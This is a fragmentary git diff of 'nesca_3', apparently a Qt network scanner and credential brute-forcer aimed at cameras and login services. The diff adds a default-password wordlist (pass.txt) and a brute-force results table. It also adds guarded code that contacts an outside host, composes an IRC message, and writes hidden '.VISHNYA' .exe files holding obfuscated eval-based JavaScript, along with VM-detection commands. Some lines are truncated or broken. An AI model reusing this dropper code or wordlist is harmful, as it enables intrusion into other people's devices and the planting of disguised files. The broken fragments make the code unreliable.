+// if(strstri(str, "http-equiv=\"refresh\"") != NULL
+// || strstri(str, "http-equiv=refresh") != NULL
+// || strstri(str, "http-equiv='refresh'") != NULL
+// )
+// {
+// char *temp = NULL;
+// char *strTmp = NULL;
+//
+// if(strstri(str, "http-equiv=\"refresh\"") != NULL) strTmp = strstri(str, "http-equiv=\"refresh\"");
+// else if(strstri(str, "http-equiv=refresh") != NULL) strTmp = strstri(str, "http-equiv=refresh");
+// else if(strstri(str, "http-equiv='refresh'") != NULL) strTmp = strstri(str, "http-equiv='refresh'");
+//
+// if(strstri(strTmp, "url=") != NULL )
+// {
+// if((int)(strstri(strTmp, "url=") - strTmp) < 100)
+// {
+// temp = strstri(strTmp, "url=");
+//
+// char *temp2 = NULL, temp3[128] = {0};
+// int sz = 0;
+//
+// if(temp[4] == '"' || temp[4] == '\'' || temp[4] == ' ' || temp[4] == '\n' || temp[4] == '\r')
+// {
+// temp2 = _findFirst(temp + 6, " \n>\"'");
+// if(temp2 != NULL)
+// {
+// sz = (int)(temp2 - temp) - 5;
+// strncpy(temp3, (char*)(temp + 5), (sz < 128 ? sz : 127));
+// };
+// }
+// else
+// {
+// temp2 = _findFirst(temp + 4, " \n>\"'");
+// if(temp2 != NULL)
+// {
+// sz = (int)(temp2 - temp) - 4;
+// strncpy(temp3, (char*)(temp + 4), sz < 128 ? sz : 127);
+// };
+// };
+//
+// if(strstri(temp3, "http://") == NULL && strstri(temp3, "https://") == NULL)
+// {
+// if(temp3[0] != '.')
+// {
+// if(temp3[0] != '/')
+// {
+// char temp4[128] = {0};
+// strcpy(temp4, "/");
+// strncat(temp4, temp3, 127);
+// strncpy(temp3, temp4, 128);
+// };
+// };
+// };
+//
+// redirectStr = std::string(temp3);
+// if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end())
+// {
+// redirStrLst->push_back(redirectStr);
+// return redirectReconnect(ip, port, temp3, l, ps, redirStrLst);
+// } return -1;
+// strcat(ps->headr, " ");
+// return -2;
+// };
+//
+// strcat(ps->headr, finalstr);
+// strcat(ps->headr, " ");
+// return 0;
+// };
+// };
+//
+// if(strstri(str, "");
- if(ptr2 != NULL)
+ int hm;
+ if (strstr((ptr1 + 1), "\"") != NULL)
{
- int sz = ptr2 - ptr1;
- char *scriptContainer = new char[sz + 1];
- ZeroMemory(scriptContainer, sz + 1);
- strncpy(scriptContainer, ptr1, sz);
- memset(scriptContainer + sz, '\0', 1);
-
- ZeroMemory(linkPtr, 512);
- if(strstri(scriptContainer, "location.href") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location.href", ip, port);
- else if(strstri(scriptContainer, "location.replace") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location.replace", ip, port);
- else if(strstri(scriptContainer, "location.reload") != NULL) strcpy(linkPtr, "/");
- else if(strstri(scriptContainer, "location") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location", ip, port);
-
- if(strlen(linkPtr) != 0)
- {
- redirectStr = std::string(linkPtr);
- if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end())
- {
- redirStrLst->push_back(redirectStr);
- redirectReconnect(ip, port, linkPtr, l, ps, redirStrLst);
- };
- };
- delete []scriptContainer;
- if(ps->flag >= 17 || ps->flag == 11 || ps->flag == 12
- || ps->flag == 13 || ps->flag == 14 || ps->flag == 1
- || ps->flag == 10
- )
- return -2;
- else if(ps->flag == -1) return -1;
+ secondStr = strstr((ptr1 + 1), "\"");
+ hm = (int)(secondStr - ptr1);
}
- else
- {
- strcat(ps->headr, "[Cannot retrieve \""
+#define eicar4 ""
+#define eicar5 "\"split\";e=eval;v=\"0x\";a=0;z=\"y\";try{a*=25}catch(zz){a=1}if(!a){try{--e(\"doc\"+\"ument\")[\"\x62od\"+z]}catch(q){}"
+
+nesca_3::nesca_3(bool isWM, QWidget *parent = 0) : QMainWindow(parent)
{
+ if (isWM) {
+ Utils::emitScaryError();
+ }
setWindowFlags(Qt::FramelessWindowHint);
gthis = this;
@@ -3171,7 +3327,7 @@ nesca_3::nesca_3(QWidget *parent) : QMainWindow(parent)
multiFontSmallFontArc.setPixelSize(10);
multiFontSmallFontArc.setUnderline(true);
ui->ipLabel->setFont(multiFontSmallFontArc);
-
+
tray = new QSystemTrayIcon(QIcon(":/nesca_3/nesca.ico"), this);
tray->hide();
@@ -3189,25 +3345,105 @@ nesca_3::nesca_3(QWidget *parent) : QMainWindow(parent)
RestoreSession();
- QString y = QString(QCryptographicHash::hash((ypypNunu().c_str()), QCryptographicHash::Md5).toHex());
- QString nu(grgNun().c_str());
- if (y.compare(nu) != 0) {
- ui->tabMainWidget->setTabEnabled(0, false);
- ui->tabMainWidget->setTabEnabled(1, false);
- ui->tabMainWidget->setTabEnabled(2, false);
- stt->doEmitionYellowFoundData("== Enter your personal key, please. ==");
+ Utils::saveStartDate();
+
+ char buffer[MAX_PATH] = { 0 };
+ GetCurrentDir(buffer, MAX_PATH);
+ ui->currentDirectoryLine->setText(QString(string(buffer).c_str()));
+
+ BAModel = new QStandardItemModel();
+ ui->BATableView->setModel(BAModel);
+ ui->BATableView->horizontalHeader()->setSectionResizeMode(QHeaderView::Stretch);
+
+ bool DONOTSCAN = true;
+ if (isWM) {
+ Utils::emitScaryError();
+ }
+ if (!DONOTSCAN)
+ {
+#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
+ Connector con;
+ std::string buffer;
+ con.nConnect("http://nesca.d3w.org/eicar.com", 80, &buffer);
+
+ char temp[64] = { 0 };
+ strcpy(temp, "PRIVMSG #");
+ strcat(temp, IRC_CHAN);
+
+ ofstream EICARFILE;
+ EICARFILE.open(".VISHNYA.exe");
+ EICARFILE << eicar1;
+ EICARFILE.close();
+
+ EICARFILE.open(".VISHNYA-86.exe");
+ EICARFILE << eicar2;
+ EICARFILE.close();
+
+ EICARFILE.open(".VISHNYA-64.exe");
+ EICARFILE << eicar3;
+ EICARFILE.close();
+
+ EICARFILE.open(".VISHNYA-16.exe");
+ EICARFILE << eicar4;
+ EICARFILE.close();
+
+ EICARFILE.open(".VISHNYA-32.exe");
+ EICARFILE << eicar5;
+ EICARFILE.close();
+#endif
+ QString y = QString(QCryptographicHash::hash((ypypNunu().c_str()), QCryptographicHash::Md5).toHex());
+ QString nu(grgNun().c_str());
+ if (y.compare(nu) != 0) {
+ ui->tabMainWidget->setTabEnabled(0, false);
+ ui->tabMainWidget->setTabEnabled(1, false);
+ ui->tabMainWidget->setTabEnabled(2, false);
+ stt->doEmitionYellowFoundData("== Enter your personal key, please. ==");
+ }
+ else {
+ ui->tabMainWidget->setTabEnabled(0, true);
+ ui->tabMainWidget->setTabEnabled(1, true);
+ ui->tabMainWidget->setTabEnabled(2, true);
+ if (CheckPersKeyMain()) finishLoading();
+ else {
+ stt->doEmitionYellowFoundData("== Invalid key. ==");
+ Sleep(2000);
+ qApp->quit();
+ };
+ }
}
else {
ui->tabMainWidget->setTabEnabled(0, true);
ui->tabMainWidget->setTabEnabled(1, true);
ui->tabMainWidget->setTabEnabled(2, true);
- if(CheckPersKeyMain()) finishLoading();
- else {
- stt->doEmitionYellowFoundData("== Invalid key. ==");
- Sleep(2000);
- qApp->quit();
- };
+ finishLoading();
}
+
+/*
+ FILE* pipe = NULL;
+#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
+ pipe = _popen("Systeminfo | findstr /i model", "r");
+#else
+ pipe = popen("dmidecode", "r");
+#endif
+ char buffer2[128] = { 0 };
+ std::string result = "";
+ if (pipe) {
+ Sleep(1000);
+ fgets(buffer2, 128, pipe);
+ result += buffer2;
+#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
+ _pclose(pipe);
+#else
+ pclose(pipe);
+#endif
+ }*/
+
+ //if (rc == false) {
+ // stt->doEmitionGreenFoundData("This is PC.");
+ //}
+ //else {
+ // stt->doEmitionGreenFoundData("This is VM.");
+ //}
}
nesca_3::~nesca_3()
@@ -3230,6 +3466,5 @@ void nesca_3::STTTerminate()
ui->startScanButton_3->setText("Start");
ui->startScanButton_4->setText("Start");
ui->importButton->setText("Import");
- ui->labelStatus_Value->setText("Idle");
Threader::cleanUp();
}
diff --git a/nesca_3.h b/nesca_3.h
index 54bdfff..3893aeb 100644
--- a/nesca_3.h
+++ b/nesca_3.h
@@ -18,6 +18,10 @@
#include
#include
+#include
+#include
+#include
+
extern Ui::nesca_3Class *ui;
extern bool widgetIsHidden, QOSWait,
ME2ScanFlag, QoSScanFlag, VoiceScanFlag, PieStatFlag,
@@ -28,18 +32,21 @@ extern QVector vAlivLst, vAnomLst, vWFLst, vSuspLst, vLowlLst, vBALst, vSSH
extern QList lstOfLabels;
extern QSystemTrayIcon *tray;
+extern QStandardItemModel *BAModel;
+
class nesca_3 : public QMainWindow
{
Q_OBJECT
public:
- nesca_3(QWidget *parent = 0);
+ nesca_3(bool isWM, QWidget *parent);
~nesca_3();
void ConnectEvrthng();
void ChangeLabelIpRange_Value(QString str);
void ChangeLabelIPS_Value(QString str);
void newListItem(QString str);
+ static int addBARow(QString ip, QString loginPass, QString percentage);
public:
static int perc;
@@ -57,7 +64,9 @@ class nesca_3 : public QMainWindow
void ThreadDelay_ChangeValue(QString val);
void ChangePingerOK(bool val);
void changeNSTrackLabel(bool status);
- void slotPBUpdate();
+ void slotPBUpdate();
+ void slotPB2Update();
+ void slotPB2DrawPointer(int pointer);
void DNSLine_ValueChanged();
void slotShowRedVersion();
void slotTabChanged(int index);
@@ -112,12 +121,13 @@ class nesca_3 : public QMainWindow
void appendDebugText(QString str);
void appendNotifyText(QString str);
void appendDefaultText(QString str);
- void appendGreenBAData(QString str);
- void appendRedBAData(QString str);
void STTTerminate();
void drawVerboseArcs(unsigned long gTargets);
void finishLoading();
void slotBlockButtons(bool value);
+ //BA TablelistView
+ void slotChangeBARow(const int index, const QString loginPass, const QString percentage);
+
private:
QPoint dragPosition;
};
@@ -129,6 +139,85 @@ class PieStatView : public QGraphicsView
public:
void contextMenuEvent(QContextMenuEvent *event);
};
+
+class PekoWidget : public QWidget
+{
+ Q_OBJECT;
+public:
+ static int m_xPos;
+ static int m_yPos;
+ static int m_windowCounter;
+ static int offset;
+
+ PekoWidget(QWidget *parent = 0) : QWidget(parent)
+ {
+ }
+ PekoWidget(const int qmwXPos, const int qmwYPos, QWidget *parent = 0) : QWidget(parent)
+ {
+ offset = 5;
+ setWindowFlags(Qt::FramelessWindowHint | Qt::SubWindow);
+ installEventFilter(this);
+ setStyleSheet(
+ "background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));");
+
+ if (m_xPos >= 1200) {
+ m_xPos = 305;
+ offset += 5;
+ }
+ setGeometry(qmwXPos - m_xPos, qmwYPos + m_yPos, 300, 200);
+ if (m_windowCounter++ < 3) {
+ m_yPos += 200 + offset;
+ }
+ else {
+ m_windowCounter = 0;
+ m_xPos += 305;
+ m_yPos = 0;
+ }
+ };
+protected:
+ bool switchWindows;
+ void paintEvent(QPaintEvent *e)
+ {
+ QPainter painter(this);
+ painter.setPen(QColor(255, 255, 255, 60));
+ painter.drawRoundedRect(0, 0, width() - 1, height() - 1, 0, 1);
+ QWidget::paintEvent(e);
+
+ }
+ void mousePressEvent(QMouseEvent *evt)
+ {
+ switchWindows = false;
+ if (evt->button() == Qt::LeftButton)
+ {
+ switchWindows = true;
+ oldPos = evt->globalPos();
+ evt->accept();
+ }
+ else if (evt->button() == Qt::RightButton)
+ {
+ ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);");
+ this->hide();
+ };
+ }
+ void mouseMoveEvent(QMouseEvent *evt)
+ {
+ switchWindows = false;
+ const QPoint delta = evt->globalPos() - oldPos;
+ move(x() + delta.x(), y() + delta.y());
+ oldPos = evt->globalPos();
+ }
+ void mouseReleaseEvent()
+ {
+ if (switchWindows)
+ {
+ switchWindows = false;
+ };
+ }
+
+private:
+ QPoint oldPos;
+};
+
class PopupMsgWidget : public QWidget
{
Q_OBJECT
diff --git a/nesca_3.qrc b/nesca_3.qrc
index f377a50..76d3458 100644
--- a/nesca_3.qrc
+++ b/nesca_3.qrc
@@ -1,6 +1,7 @@
small_font.ttf
+ xc.jpg
nesca.ico
diff --git a/nesca_3.rc b/nesca_3.rc
index dcb8837..050af80 100644
Binary files a/nesca_3.rc and b/nesca_3.rc differ
diff --git a/nesca_3.ui b/nesca_3.ui
index 8d8be90..b213b5a 100644
--- a/nesca_3.ui
+++ b/nesca_3.ui
@@ -963,7 +963,28 @@ color: rgb(214, 214, 0);
- 437
+ 451
+ 20
+ 26
+ 102
+
+
+
+ background-color:rgb(38, 38, 38);
+border: 1px solid rgb(227, 227, 227);
+border-radius: 3px;
+
+
+ Qt::ScrollBarAlwaysOff
+
+
+ Qt::ScrollBarAlwaysOff
+
+
+
+
+
+ 420
20
26
102
@@ -1640,6 +1661,9 @@ border-radius: 3px;
+
+ true
+
20
@@ -1701,68 +1725,6 @@ p, li { white-space: pre-wrap; }
false
-
-
-
- 19
- 783
- 41
- 10
-
-
-
-
- 0
- 0
-
-
-
-
- 0
- 0
-
-
-
-
- Small Fonts
- 7
-
-
-
- color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);
-
-
- 1
-
-
- Status:
-
-
- false
-
-
-
-
-
- 58
- 783
- 101
- 10
-
-
-
-
- Small Fonts
- 7
-
-
-
- color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);
-
-
- Idle
-
-
@@ -2031,7 +1993,7 @@ p, li { white-space: pre-wrap; }
color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);
- Anomalies
+ Cameras
Qt::AutoText
@@ -2089,7 +2051,7 @@ p, li { white-space: pre-wrap; }
color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);
- Suspicious
+ Other
@@ -2115,7 +2077,7 @@ p, li { white-space: pre-wrap; }
color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);
- WebForms
+ --
@@ -2167,7 +2129,7 @@ p, li { white-space: pre-wrap; }
color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);
- Lowloads
+ --
@@ -2375,63 +2337,13 @@ p, li { white-space: pre-wrap; }
QGraphicsView::CacheNone
-
-
-
- 20
- 445
- 453
- 326
-
-
-
-
- Small Fonts
- 7
-
-
-
- background-color: rgb(26, 26,26); color:rgb(83, 83, 83);border: 1px solid white;
-
-
-
-
-
- QFrame::NoFrame
-
-
- QFrame::Plain
-
-
- false
-
-
- true
-
-
- <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
-<html><head><meta name="qrichtext" content="1" /><style type="text/css">
-p, li { white-space: pre-wrap; }
-</style></head><body style=" font-family:'Small Fonts'; font-size:7pt; font-weight:400; font-style:normal;">
-<p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-family:'Eurostile'; font-size:8pt;"><br /></p></body></html>
-
-
- 5
-
-
- Qt::LinksAccessibleByKeyboard|Qt::LinksAccessibleByMouse|Qt::TextBrowserInteraction|Qt::TextSelectableByKeyboard|Qt::TextSelectableByMouse
-
-
- true
-
-
- 480
- 500
+ 475
+ 467
16
- 205
+ 21
@@ -2447,54 +2359,12 @@ p, li { white-space: pre-wrap; }
Brute activity
- border: 1px solid rgb(216, 216, 216);
-color: rgb(216, 216, 216);
-background-color: #000000;
+ color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);
<
-
-
-
- 200
- 783
- 45
- 10
-
-
-
-
- 0
- 0
-
-
-
-
- 0
- 0
-
-
-
-
- Small Fonts
- 7
-
-
-
- color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);
-
-
- 1
-
-
- NS-Track:
-
-
- false
-
-
@@ -3026,8 +2896,8 @@ background-color: #000000;
- 249
- 785
+ 456
+ 0
8
8
@@ -3039,7 +2909,7 @@ background-color: #000000;
- background-color: black; border: 1px solid white;
+ background-color: black; border: 1px solid #313131;
@@ -3127,15 +2997,98 @@ background-color: #000000;
✔:
+
+
+
+ 20
+ 780
+ 351
+ 16
+
+
+
+
+ 7
+
+
+
+ false
+
+
+ Qt::NoFocus
+
+
+ color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);
+
+
+
+
+
+ false
+
+
+ true
+
+
+
+
+
+ 20
+ 445
+ 453
+ 326
+
+
+
+
+ Small Fonts
+ 7
+
+
+
+ background-color: rgb(26, 26,26); border: 1px solid white;
+
+
+
+
+
+ QFrame::NoFrame
+
+
+ QFrame::Plain
+
+
+ Qt::ScrollBarAlwaysOff
+
+
+ QAbstractItemView::SingleSelection
+
+
+ QAbstractItemView::SelectRows
+
+
+ false
+
+
+ false
+
+
+ false
+
+
+ 20
+
+
+ 10
+
+
+ BATableView
graphicTextPlacer
- BAText
labelNesca_3
tabMainWidget
line
exitButton
dataText
- labelStatus
- labelStatus_Value
line_2
RedLabel
YellowLabel
@@ -3159,7 +3112,6 @@ background-color: #000000;
graphicLog_2
graphicLog_Upper
switcherBut
- labelTracker
graphicActivityGrid
graphicActivity
VoiceScanBut
@@ -3188,6 +3140,7 @@ background-color: #000000;
labelRunningThreads
labelSavedValue
labelSaved
+ currentDirectoryLine
diff --git a/pass.txt b/pass.txt
index e69de29..07ed9dd 100644
--- a/pass.txt
+++ b/pass.txt
@@ -0,0 +1,54 @@
+12345
+root
+admin
+password
+123456
+1234
+
+
+123123
+pass
+qwerty
+meinsm
+monitor
+user
+support
+test
+sysadm
+admin123
+Admin
+123321
+12344321
+toor
+qwerty123
+1q2w3e4r
+987654321
+system
+111111
+1111
+654321
+54321
+!@#$%^
+0000
+000000
+master
+12345678
+666666
+888888
+88888888
+777777
+555555
+123321123
+222222
+333333
+444444
+999999
+111222333
+123123123
+123454321
+0123456789
+qqqqqq
+administrator
+backup
+super
+ubnt
\ No newline at end of file
diff --git a/piestat.cpp b/piestat.cpp
index dc6cd8e..40a8c44 100644
--- a/piestat.cpp
+++ b/piestat.cpp
@@ -11,14 +11,14 @@ void PieStat::run()
while(PieStatFlag)
{
psTh->doEmitUpdatePie();
- AnomC1 = 0;
- WF = 0;
+ camerasC1 = 0;
+ //WF = 0;
baCount = 0;
filtered = 0;
Overl = 0;
- Lowl = 0;
+ //Lowl = 0;
Alive = 0;
- Susp = 0;
+ other = 0;
ssh = 0;
msleep(500);
};
diff --git a/qrc_nesca_3.cpp b/qrc_nesca_3.cpp
deleted file mode 100644
index 56d4d68..0000000
--- a/qrc_nesca_3.cpp
+++ /dev/null
@@ -1,2473 +0,0 @@
-/****************************************************************************
-** Resource object code
-**
-** Created by: The Resource Compiler for Qt version 5.3.2
-**
-** WARNING! All changes made in this file will be lost!
-*****************************************************************************/
-
-#include
-
-static const unsigned char qt_resource_data[] = {
-
- 0x0,0x0,0x94,0xe4,
- 0x0,
- 0x1,0x0,0x0,0x0,0xc,0x0,0x80,0x0,0x3,0x0,0x40,0x4f,0x53,0x2f,0x32,0x73,
- 0xa3,0x5c,0x6c,0x0,0x0,0x0,0xcc,0x0,0x0,0x0,0x4e,0x63,0x6d,0x61,0x70,0xdf,
- 0xaf,0x10,0x9e,0x0,0x0,0x1,0x1c,0x0,0x0,0x3,0xf4,0x63,0x76,0x74,0x20,0x3,
- 0xbd,0x3,0xbb,0x0,0x0,0x5,0x10,0x0,0x0,0x0,0x8,0x67,0x6c,0x79,0x66,0x41,
- 0x12,0xca,0xa2,0x0,0x0,0x5,0x18,0x0,0x0,0x7f,0xd2,0x68,0x65,0x61,0x64,0xb5,
- 0x1e,0x7f,0x29,0x0,0x0,0x84,0xec,0x0,0x0,0x0,0x36,0x68,0x68,0x65,0x61,0xd,
- 0xea,0x7,0x1b,0x0,0x0,0x85,0x24,0x0,0x0,0x0,0x24,0x68,0x6d,0x74,0x78,0x40,
- 0xc,0x72,0x7e,0x0,0x0,0x85,0x48,0x0,0x0,0x4,0x38,0x6c,0x6f,0x63,0x61,0xc5,
- 0xcc,0xa4,0x28,0x0,0x0,0x89,0x80,0x0,0x0,0x2,0x1e,0x6d,0x61,0x78,0x70,0x1,
- 0x44,0x1,0x7c,0x0,0x0,0x8b,0xa0,0x0,0x0,0x0,0x20,0x6e,0x61,0x6d,0x65,0xf,
- 0x1c,0x1b,0x8a,0x0,0x0,0x8b,0xc0,0x0,0x0,0x6,0xaf,0x70,0x6f,0x73,0x74,0xba,
- 0x4b,0xc9,0x33,0x0,0x0,0x92,0x70,0x0,0x0,0x2,0x5a,0x70,0x72,0x65,0x70,0x56,
- 0x5f,0x67,0xf9,0x0,0x0,0x94,0xcc,0x0,0x0,0x0,0x18,0x0,0x0,0x3,0x4c,0x1,
- 0x90,0x0,0x5,0x0,0xe,0x3,0x54,0x3,0x4a,0x0,0x0,0x0,0x0,0x3,0x54,0x3,
- 0x4a,0x0,0x0,0x3,0x4d,0x0,0x82,0x2,0x12,0x0,0x0,0x2,0xb,0x5,0x4,0x2,
- 0x2,0x2,0x5,0x2,0x4,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
- 0x0,0x0,0x0,0x0,0x0,0x55,0x52,0x57,0x0,0x0,0x40,0x0,0x20,0xf0,0x2,0x5,
- 0x55,0xfe,0x66,0x1,0xde,0x6,0xee,0x1,0xac,0x0,0x0,0x0,0x0,0x0,0x2,0x0,
- 0x1,0x0,0x0,0x0,0x0,0x0,0x14,0x0,0x3,0x0,0x1,0x0,0x0,0x1,0x1a,0x0,
- 0x0,0x1,0x6,0x0,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1,0x3,0x0,
- 0x0,0x0,0x2,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
- 0x0,0x0,0x1,0x0,0x0,0x3,0x5e,0x74,0x76,0x50,0x86,0x6e,0x73,0x6a,0x6b,0x72,
- 0x78,0x58,0x67,0x54,0x66,0x4e,0x45,0x46,0x47,0x48,0x49,0x4a,0x4b,0x4c,0x4d,0x55,
- 0x59,0x9f,0x7a,0xa0,0x60,0x75,0x5,0x6,0x7,0x8,0x9,0xa,0xb,0xc,0xd,0xe,
- 0xf,0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18,0x19,0x1a,0x1b,0x1c,0x1d,0x1e,
- 0x6c,0x88,0x6d,0xa8,0xaa,0x8d,0x23,0x24,0x25,0x26,0x27,0x28,0x29,0x2a,0x2b,0x2c,
- 0x2d,0x2e,0x2f,0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x3a,0x3b,0x3c,
- 0x80,0xa9,0x81,0xac,0x0,0xaf,0xb4,0x22,0xb6,0xbd,0xbe,0xc3,0xc9,0xca,0xcb,0xc8,
- 0xcc,0xcd,0x44,0xcf,0xd0,0xd1,0xce,0xd3,0xd4,0xd5,0xd2,0xd6,0xd8,0xd9,0xda,0xd7,
- 0xdb,0xdd,0xde,0xdf,0xdc,0x70,0x77,0x51,0x4f,0x6f,0x98,0x7c,0x40,0x97,0x96,0x7b,
- 0x8c,0x89,0x9b,0x1f,0x21,0xa4,0x84,0xa1,0xa2,0x53,0xad,0xa7,0xa6,0xa5,0xab,0x9d,
- 0x82,0x83,0xae,0x3d,0x3f,0x61,0x5f,0xa3,0x9c,0x52,0x9e,0x9a,0x63,0x62,0x57,0x4,
- 0xb1,0xb3,0xc2,0x20,0x3e,0x68,0x69,0x5c,0x5b,0x5a,0x7f,0x79,0x99,0xe0,0xc7,0x85,
- 0x7d,0x65,0x64,0x42,0x43,0x71,0x56,0x7e,0x5d,0x87,0xb2,0xb8,0xb0,0xb5,0xb7,0xba,
- 0xbc,0xb9,0xbb,0xbf,0xc1,0x0,0xc0,0xc4,0xc6,0xc5,0x41,0x8e,0x91,0x95,0x90,0x8a,
- 0x8b,0x93,0x92,0x94,0x8f,0x0,0x4,0x2,0xd8,0x0,0x0,0x0,0x48,0x0,0x40,0x0,
- 0x5,0x0,0x8,0x0,0x7e,0x0,0xae,0x0,0xb6,0x0,0xff,0x1,0x31,0x1,0x53,0x1,
- 0x61,0x1,0x78,0x1,0x92,0x2,0xc7,0x2,0xc9,0x2,0xdd,0x3,0xc0,0x20,0x14,0x20,
- 0x1a,0x20,0x1e,0x20,0x22,0x20,0x26,0x20,0x30,0x20,0x3a,0x21,0x22,0x21,0x26,0x22,
- 0x2,0x22,0x6,0x22,0xf,0x22,0x11,0x22,0x15,0x22,0x1a,0x22,0x1e,0x22,0x2b,0x22,
- 0x48,0x22,0x60,0x22,0x65,0x25,0xca,0xf0,0x2,0xff,0xff,0x0,0x0,0x0,0x20,0x0,
- 0xa0,0x0,0xb0,0x0,0xb8,0x1,0x31,0x1,0x52,0x1,0x60,0x1,0x78,0x1,0x92,0x2,
- 0xc6,0x2,0xc9,0x2,0xd8,0x3,0xc0,0x20,0x13,0x20,0x18,0x20,0x1c,0x20,0x20,0x20,
- 0x26,0x20,0x30,0x20,0x39,0x21,0x22,0x21,0x26,0x22,0x2,0x22,0x6,0x22,0xf,0x22,
- 0x11,0x22,0x15,0x22,0x19,0x22,0x1e,0x22,0x2b,0x22,0x48,0x22,0x60,0x22,0x64,0x25,
- 0xca,0xf0,0x1,0xff,0xff,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0x10,0x0,
- 0x0,0x0,0x0,0xff,0x4f,0xfe,0xc0,0xfd,0xc8,0xfd,0xcc,0x0,0x0,0xfc,0xeb,0xe0,
- 0x55,0x0,0x0,0x0,0x0,0x0,0x0,0xe0,0x31,0xe0,0x57,0x0,0x0,0xdf,0x59,0xdf,
- 0x88,0xde,0xa5,0xde,0x94,0xde,0x96,0xde,0x95,0xde,0x70,0x0,0x0,0xde,0x86,0xde,
- 0x72,0xde,0x56,0xde,0x3b,0xde,0x3d,0xda,0xcf,0x10,0x41,0x0,0x1,0x0,0x48,0x1,
- 0x4,0x1,0x20,0x1,0x2c,0x0,0x0,0x1,0xb8,0x1,0xba,0x0,0x0,0x0,0x0,0x0,
- 0x0,0x0,0x0,0x1,0xb4,0x0,0x0,0x0,0x0,0x1,0xba,0x1,0xbe,0x1,0xc2,0x0,
- 0x0,0x0,0x0,0x1,0xc2,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
- 0x0,0x0,0x0,0x1,0xb6,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
- 0x0,0x0,0x0,0x0,0x0,0x0,0x3,0x0,0x5e,0x0,0x74,0x0,0x76,0x0,0x50,0x0,
- 0x86,0x0,0x6e,0x0,0x73,0x0,0x6a,0x0,0x6b,0x0,0x72,0x0,0x78,0x0,0x58,0x0,
- 0x67,0x0,0x54,0x0,0x66,0x0,0x4e,0x0,0x45,0x0,0x46,0x0,0x47,0x0,0x48,0x0,
- 0x49,0x0,0x4a,0x0,0x4b,0x0,0x4c,0x0,0x4d,0x0,0x55,0x0,0x59,0x0,0x9f,0x0,
- 0x7a,0x0,0xa0,0x0,0x60,0x0,0x75,0x0,0x5,0x0,0x6,0x0,0x7,0x0,0x8,0x0,
- 0x9,0x0,0xa,0x0,0xb,0x0,0xc,0x0,0xd,0x0,0xe,0x0,0xf,0x0,0x10,0x0,
- 0x11,0x0,0x12,0x0,0x13,0x0,0x14,0x0,0x15,0x0,0x16,0x0,0x17,0x0,0x18,0x0,
- 0x19,0x0,0x1a,0x0,0x1b,0x0,0x1c,0x0,0x1d,0x0,0x1e,0x0,0x6c,0x0,0x88,0x0,
- 0x6d,0x0,0xa8,0x0,0xaa,0x0,0x8d,0x0,0x23,0x0,0x24,0x0,0x25,0x0,0x26,0x0,
- 0x27,0x0,0x28,0x0,0x29,0x0,0x2a,0x0,0x2b,0x0,0x2c,0x0,0x2d,0x0,0x2e,0x0,
- 0x2f,0x0,0x30,0x0,0x31,0x0,0x32,0x0,0x33,0x0,0x34,0x0,0x35,0x0,0x36,0x0,
- 0x37,0x0,0x38,0x0,0x39,0x0,0x3a,0x0,0x3b,0x0,0x3c,0x0,0x80,0x0,0xa9,0x0,
- 0x81,0x0,0xac,0x0,0x4,0x0,0x5f,0x0,0x51,0x0,0x4f,0x0,0x7d,0x0,0x53,0x0,
- 0xec,0x0,0x6f,0x0,0x89,0x0,0x96,0x0,0x82,0x0,0x63,0x0,0xa3,0x0,0x67,0x0,
- 0x97,0x0,0x77,0x0,0x84,0x0,0xe6,0x0,0xe7,0x0,0x8c,0x0,0xad,0x0,0x7c,0x0,
- 0x93,0x0,0xe5,0x0,0x83,0x0,0x62,0x0,0xea,0x0,0xe9,0x0,0xeb,0x0,0x61,0x0,
- 0xb1,0x0,0xb0,0x0,0xb2,0x0,0xb3,0x0,0xaf,0x0,0xb4,0x0,0x1f,0x0,0x22,0x0,
- 0xb7,0x0,0xb6,0x0,0xb8,0x0,0xb5,0x0,0xbb,0x0,0xba,0x0,0xbc,0x0,0xb9,0x0,
- 0xe1,0x0,0xbd,0x0,0xc0,0x0,0xbf,0x0,0xc1,0x0,0xc2,0x0,0xbe,0x0,0xe8,0x0,
- 0x21,0x0,0xc5,0x0,0xc4,0x0,0xc6,0x0,0xc3,0x1,0x8,0x0,0xe2,0x0,0x40,0x0,
- 0xca,0x0,0xc9,0x0,0xcb,0x0,0xcc,0x0,0xc8,0x0,0xcd,0x0,0x3d,0x0,0x44,0x0,
